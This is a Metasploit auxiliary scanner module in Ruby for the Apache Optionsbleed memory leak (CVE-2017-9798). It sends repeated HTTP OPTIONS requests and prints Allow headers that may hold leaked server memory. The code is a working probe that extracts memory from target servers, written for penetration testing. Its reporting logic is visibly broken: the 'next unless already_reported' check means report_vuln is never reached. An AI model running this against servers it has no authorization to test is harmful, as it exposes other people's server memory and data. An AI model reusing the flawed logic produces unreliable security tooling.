##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Optionsbleed Scanner',
        'Description' => %q{
          This module scans for the Apache optionsbleed vulnerability where the Allow
          response header returned from an OPTIONS request may bleed memory if the
          server has a .htaccess file with an invalid Limit method defined.
        },
        'Author' => [
          'Hanno Böck', # Vulnerability discovery
          'h00die', # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2017-9798' ],
          [ 'EDB', '42745' ],
          [ 'URL', 'https://github.com/hannob/optionsbleed' ],
          [ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]
        ],
        'DisclosureDate' => '2017-09-18',
        'License' => MSF_LICENSE,
        'Notes' => {
          'AKA' => ['Optionsbleed'],
          'Stability' => UNKNOWN_STABILITY,
          'Reliability' => UNKNOWN_RELIABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),
      OptInt.new('REPEAT', [true, 'Times to attempt', 40]),
      OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])
    ])
  end

  def get_allow_header(ip)
    res = send_request_raw({
      'version' => '1.1',
      'method' => 'OPTIONS',
      'uri' => datastore['TARGETURI']
    }, 10)

    fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']
    res.headers['Allow']
  end

  def run_host(ip)
    # Apache bug 61207 regex
    bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/
    # Launchpad bug 1717682 regex
    bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/
    uniques = []
    already_reported = false

    for counter in 1..datastore['REPEAT']
      allows = get_allow_header(ip)
      next if uniques.include?(allows) # no need to re-process non-new items

      uniques << allows
      if allows =~ bug_61207
        if allows.split(',').length > allows.split(',').uniq.length # check for repeat items
          print_status('Some methods were sent multiple times in the list. ' +
                       'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']
        else
          vprint_status("Request #{counter}: [Standard Response] -> #{allows}")
        end
      elsif allows =~ bug_1717682 && datastore['BUGS']
        print_status('The list of methods was space-separated instead of comma-separated. ' +
                     'This is a bug, but harmless. It may be Launchpad bug #1717682.')
      else
        print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")
      end
      next unless already_reported

      report_vuln(
        :host => ip,
        :port => rport,
        :name => self.name,
        :refs => self.references
      )
      already_reported = true
    end
  end
end
